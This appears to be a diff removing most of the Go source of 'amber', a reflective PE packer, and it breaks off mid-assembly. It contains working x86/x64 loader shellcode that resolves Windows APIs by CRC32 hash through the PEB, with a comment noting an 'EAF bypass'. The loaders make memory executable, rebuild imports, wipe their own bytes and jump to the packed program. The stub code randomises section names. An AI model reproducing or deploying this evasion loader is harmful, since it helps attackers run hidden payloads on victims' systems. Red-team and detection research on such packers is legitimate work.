bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
case *pe.OptionalHeader64:
bp.ImageBase = hdr.ImageBase
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
}
// Check for TLS callbacks !!!
fileSize, err := GetFileSize(bp.FullFileName)
if err != nil {
return err
}
bp.FileSize = fileSize
return nil
}
func getPEfileArchitecture(fileName string) (int, error) {
file, err := pe.Open(fileName)
if err != nil {
return 0, err
}
switch file.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
return 32, nil
case pe.IMAGE_FILE_MACHINE_AMD64:
return 64, nil
default:
return 0, errors.New("unsupported PE file architecture")
}
}
-144
View File
@@ -1,144 +0,0 @@
package amber
import (
"errors"
"fmt"
"strings"
)
// AssemblePayload generates the binary stub bla bla...
func (bp *Blueprint) AssemblePayload() ([]byte, error) {
peMap, err := bp.file.CreateMemoryMapping()
if err != nil {
return nil, err
}
err = bp.file.PerformIntegrityChecks(peMap)
if err != nil && !bp.IgnoreIntegrity {
return nil, err
}
payload, err := bp.AddCallOver(peMap)
if err != nil {
return nil, err
}
stub, err := bp.GetLoaderAssembly()
if err != nil {
return nil, err
}
stub = strings.ReplaceAll(stub, ";", "\n;")
stub = strings.ReplaceAll(stub, "$+", "")
stubBin, ok := bp.Assemble(stub)
if !ok {
bp.printFaultingLine(stub)
return nil, errors.New("core loader stub assembly failed")
}
return append(payload, stubBin...), nil
}
// GetLoaderAssembly returns the corresponding PE loader assembly code
// based on the given blueprint strunct
func (bp *Blueprint) GetLoaderAssembly() (string, error) {
var stub, dllPrologue string
if bp.IsDLL {
switch bp.Architecture {
case 64:
dllPrologue = `
mov rcx,r13 ; hinstDLL
mov rdx,0x01 ; fdwReason
xor r8,r8 ; lpReserved
`
case 32:
dllPrologue = `
push edi ; AOE
sub [esp],eax ; hinstDLL
push 0x01 ; fdwReason
push 0x00 ; lpReserved
`
default:
return "", errors.New("invalid architecture selected")
}
} else {
dllPrologue = ""
}
api, err := bp.GetAPIResolverBlockAssembly()
if err != nil {
return "", err
}
switch bp.Architecture {
case 32:
if bp.HasRelocData {
stub = LoaderX86
} else {
stub = FixedLoaderX86
}
case 64:
if bp.HasRelocData {
stub = LoaderX64
} else {
stub = FixedLoaderX64
}
default:
return "", errors.New("invalid architecture selected")
}
return fmt.Sprintf(stub, api, dllPrologue), nil
}
// GetAPIResolverBlockAssembly returns the corresponding API resolver block assembly code
// based on the given blueprint strunct
func (bp *Blueprint) GetAPIResolverBlockAssembly() (string, error) {
switch bp.Architecture {
case 32:
if bp.IAT {
return IAT32, nil
}
return CRC32, nil
case 64:
if bp.IAT {
return IAT64, nil
}
return CRC64, nil
default:
return "", errors.New("invalid architecture selected")
}
}
// AddCallOver function adds a call instruction over the end of the given payload
// address of the payload will be pushed to the stack and execution will continiou after the end of payload
func (bp *Blueprint) AddCallOver(payload []byte) ([]byte, error) {
// Perform a shport call over the payload
call := fmt.Sprintf("call 0x%x", len(payload)+5)
callBin, ok := bp.Assemble(call)
if !ok {
return nil, errors.New("call-over assembly failed")
}
payload = append(callBin, payload...)
return payload, nil
}
func (bp *Blueprint) printFaultingLine(code string) {
for i, line := range strings.Split(string(code), "\n") {
if _, ok := bp.Assemble(line); !ok && !strings.Contains(line, "call") {
fmt.Printf("%d: %s\n", i, line)
}
}
}
-30
View File
@@ -1,30 +0,0 @@
package amber
import (
"math/rand"
"os"
)
// randomString - generates random string of given length
func randomString(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random := make([]byte, length)
for i := 0; i < length; i++ {
random[i] = charset[rand.Intn(len(charset))]
}
return string(random)
}
// GetFileSize retrieves the size of the file with given file path
func GetFileSize(filePath string) (int, error) {
file, err := os.Open(filePath)
if err != nil {
return 0, err
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
return 0, err
}
return int(stat.Size()), nil
}
-201
View File
@@ -1,201 +0,0 @@
package amber
import (
"bytes"
"encoding/base64"
"encoding/binary"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"strings"
pe "github.com/EgeBalci/debug/pe"
)
// CompileStub generates the final stub file with given payload
func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) {
tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_")
if err != nil {
return nil, err
}
defer os.Remove(tmpStub.Name())
stub := []byte{}
if bp.CustomStub != nil {
stub = bp.CustomStub
} else {
switch bp.Architecture {
case 32:
stub, err = base64.StdEncoding.DecodeString(STUB32)
case 64:
stub, err = base64.StdEncoding.DecodeString(STUB64)
}
}
if bp.IAT && !bp.checkRequiredIATFuncs(stub) {
return nil, errors.New("selected stub does not support IAT resolver API")
}
tmpStub.Write(stub)
tmpStubPE, err := pe.Open(tmpStub.Name())
if err != nil {
return nil, err
}
var sizeOfImage, fileAlignment uint32
lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1]
switch tmpStubPE.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32)
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
case pe.IMAGE_FILE_MACHINE_AMD64:
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64)
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
}
// Edit the pre-compiled EXE stub header values by replacing raw bytes
// Change Subsystem
stub, err = setSubsystem(stub, bp.Subsystem)
if err != nil {
return nil, err
}
// Change SizeOfImage
stub, err = setSizeOfImage(stub, bp.SizeOfImage+sizeOfImage)
if err != nil {
return nil, err
}
// Randomize last section name
lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name))
newSectionName := "." + randomString(7) // Randomize the section name
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...)
oldBytes := make([]byte, 4)
newBytes := make([]byte, 4)
// Change SectionVirtualSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize))
binary.LittleEndian.PutUint32(newBytes, uint32(len(payload)))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
// Change SectionRawSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size))
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
// Align section size
eofTamper := make([]byte, align(uint32(len(payload)), fileAlignment)-uint32(len(payload)))
for i := range eofTamper {
eofTamper[i] = 0x00
}
payload = append(payload, eofTamper...)
// Replace the section data with the reflective payload
oldSectionData, err := lastSection.Data()
if err != nil {
return nil, err
}
stub = bytes.Replace(stub, oldSectionData, payload, 1)
return stub, nil
}
func align(size, align uint32) uint32 {
if 0 == (size % align) {
return size
}
return size + (align - (size % align))
}
func (bp *Blueprint) checkRequiredIATFuncs(stub []byte) bool {
if !strings.Contains(string(stub), "LoadLibrary") || !strings.Contains(string(stub), "GetProcAddress") {
return false
}
if bp.HasRelocData {
if !strings.Contains(string(stub), "VirtualAlloc") {
return false
}
} else {
if !strings.Contains(string(stub), "VirtualProtect") {
return false
}
}
if bp.Architecture == 64 {
if !strings.Contains(string(stub), "FlushInstructionCache") {
return false
}
}
return true
}
// Change the SubSystem header value of given raw PE file with newSubSystem
func setSubsystem(peFile []byte, newSubSystem uint16) ([]byte, error) {
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
subSystemBytes := make([]byte, 2)
binary.LittleEndian.PutUint16(subSystemBytes, newSubSystem)
return append(append(peFile[:ntHeaderOffset+0x5c], subSystemBytes...), peFile[ntHeaderOffset+0x5e:]...), nil
}
// Change the SizeOfImage header value of given raw PE file with newSizeOfImage
func setSizeOfImage(peFile []byte, newSizeOfImage uint32) ([]byte, error) {
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
sizeOfImageBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(sizeOfImageBytes, newSizeOfImage)
return append(append(peFile[:ntHeaderOffset+0x50], sizeOfImageBytes...), peFile[ntHeaderOffset+0x54:]...), nil
}
// Change the ImageBase header value of given raw PE file with newImageBase
func setImageBase(peFile []byte, newImageBase uint64) ([]byte, error) {
r := bytes.NewReader(peFile)
f := new(pe.File)
sr := io.NewSectionReader(r, 0, 1<<63-1)
ntHeaderOffset, err := getNtHeaderOffset(peFile)
if err != nil {
return nil, err
}
sr.Seek(int64(ntHeaderOffset+4), 0)
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
return nil, err
}
switch f.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
imageBaseBytes := make([]byte, 4)
binary.LittleEndian.PutUint32(imageBaseBytes, uint32(newImageBase))
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x34:]...), nil
case pe.IMAGE_FILE_MACHINE_AMD64:
imageBaseBytes := make([]byte, 8)
binary.LittleEndian.PutUint64(imageBaseBytes, newImageBase)
return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x38:]...), nil
default:
return nil, fmt.Errorf("unsupported COFF file header machine value of 0x%x", f.FileHeader.Machine)
}
}
// Get the NT_IMAGE_HEADER offset of the given raw PE file
func getNtHeaderOffset(peFile []byte) (uint32, error) {
ntHeaderOffset := binary.LittleEndian.Uint32(peFile[0x3c:0x40])
if !(peFile[ntHeaderOffset] == 'P' && peFile[ntHeaderOffset+1] == 'E' && peFile[ntHeaderOffset+2] == 0 && peFile[ntHeaderOffset+3] == 0) {
return 0, fmt.Errorf("invalid PE COFF file signature of %v", ntHeaderOffset)
}
return ntHeaderOffset, nil
}
-97
View File
@@ -1,97 +0,0 @@
package amber
// CRC64 https://github.com/EgeBalci/CRC32_API
const CRC64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx, [rdx+0x18] ; Get PEB->Ldr
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 r9d,al ; Calculate CRC3
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+0x20] ; Get this modules base address
mov eax, dword [rdx+0x3C]; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+0x88] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+0x18]; Get the number of function names
mov r8d, dword [rax+0x20]; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov r9, [rsp+8] ; Reset the current module hash
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
crc32 r9d,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+0x24]; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+0x1C]; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
jmp rax ; Jump to required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
`
-89
View File
@@ -1,89 +0,0 @@
package amber
// CRC32 https://github.com/EgeBalci/CRC32_API
const CRC32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, fs:[eax+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xC] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 value
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov ecx, [edx+0x3C] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+0x18] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
mov edi, [ebp-8] ; Reset the current module hash
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1C] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Puh back the return address
jmp eax ; Properly call the required function for EAF bypass
ret
; We now automagically return to the correct caller...
get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
`
-112
View File
@@ -1,112 +0,0 @@
package amber
// FixedLoaderX64 contains the 64 bit PE loader for non-relocatable PE files
const FixedLoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
push rax ; Allocate 8 bytes for lpflOldProtect
mov r9,rsp ; lpflOldProtect
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
mov rdx,qword [rsp+8] ; dwSize
mov rcx,rbx ; lpAddress
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
xchg rsp,rbp ; Swap shadow stack
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
xchg rsp,rbp ; Swap shadow stack
xor rax,rax ; Zero EAX
xor r14,r14 ; Zero R14
xor r15,r15 ; Zero R15
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to RAX
jmp get_modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to RAX
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving stage is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get API address with hint
jmp insert_iat ; Insert the address of API to IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to RAX
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(RCX,RDX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rax ; ...
pop rcx ; Pop the image_size to RCX
push rbx ; Push the new base adress to stack
add [rsp],r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rbx],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rbx ; Increase image base index
loop memcpy ; Loop until zero
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
%s
ret ; Return to AOE
`
-121
View File
@@ -1,121 +0,0 @@
package amber
// FixedLoaderX86 contains the 64 bit PE loader for non-relocatable PE files
const FixedLoaderX86 = `
start: ;
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push ebx ; Save image base to stack
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push 0x40 ; PAGE_EXECUTE_READWRITE
push dword [esp+0x14] ; dwSize
push ebx ; lpAddress
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
pop eax ; Fix the stack
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov byte [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
%s
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
jmp edi ; Call the AOE
`
-102
View File
@@ -1,102 +0,0 @@
package amber
// IAT64 https://github.com/EgeBalci/IAT_API
const IAT64 = `
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx,rdx ; Zero rdx
mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB
mov rdx,[rdx+0x18] ; Get PEB->Ldr
mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list
mov rdx,[rdx+0x20] ; Get this modules base address
push rdx ; Save the image base to stack (will use this alot)
add dx,word [rdx+0x3C] ; "PE" Header
mov edx,dword [rdx+0x90]; Import table RVA
add rdx,[rsp] ; Address of Import Table
push rdx ; Save the &IT to stack (will use this alot)
mov rsi,[rsp+8] ; Move the image base to RSI
sub rsp,0x10 ; Allocate space for import descriptor counter & hash
sub rdx,0x14 ; Prepare import descriptor pointer for processing
next_desc:
add rdx,0x14 ; Get the next import descriptor
cmp dword [rdx],0 ; Check if import descriptor is valid
jz not_found ; If import name array RVA is zero finish parsing
mov rsi,[rsp+0x10] ; Move import table address to RSI
mov si,[rdx+0xC] ; Get pointer to module name string RVA
xor rdi,rdi ; Clear RDI which will store the hash of the module name
loop_modname:
xor rax,rax ; Clear RAX for calculating the hash
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of windows use lower case module names
jl not_lowercase ;
sub al,0x20 ; If so normalize to uppercase
not_lowercase:
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Feed NULL for unicode effect
test al,al ; Check if end of the module name
jnz loop_modname ;
; We now have the module hash computed
mov [rsp+8],rdx ; Save the current position in the module listfor later
mov [rsp],edi ; Save the current module hash for later
; Proceed to itterate the export address table,
mov ecx,dword [rdx] ; Get RVA of import names table
add rcx,[rsp+0x18] ; Add the image base and get the address of import names table
sub rcx,8 ; Go 4 bytes back
get_next_func: ;
mov rdi,[rsp] ; Reset module hash
add rcx,8 ; 8 byte forward
cmp dword [rcx],0 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,dword [rcx] ; Get the RVA of func name hint
btr rax,0x3F ; Check if the high order bit is set
btr rsi,0x3F ; Check if the high order bit is set
jc get_next_func ; If high order bit is not set resolve with INT entry
add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint
add rsi,2 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname:
xor rax,rax ; Clear RAX
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of the function name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
cmp edi,r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT
mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor
add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor
sub rcx,rdx ; Find the function array index ?
add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA
add rax,rcx ; Add the function index
; Now clean the stack
; We now fix up the stack and perform the call to the drsired function...
finish:
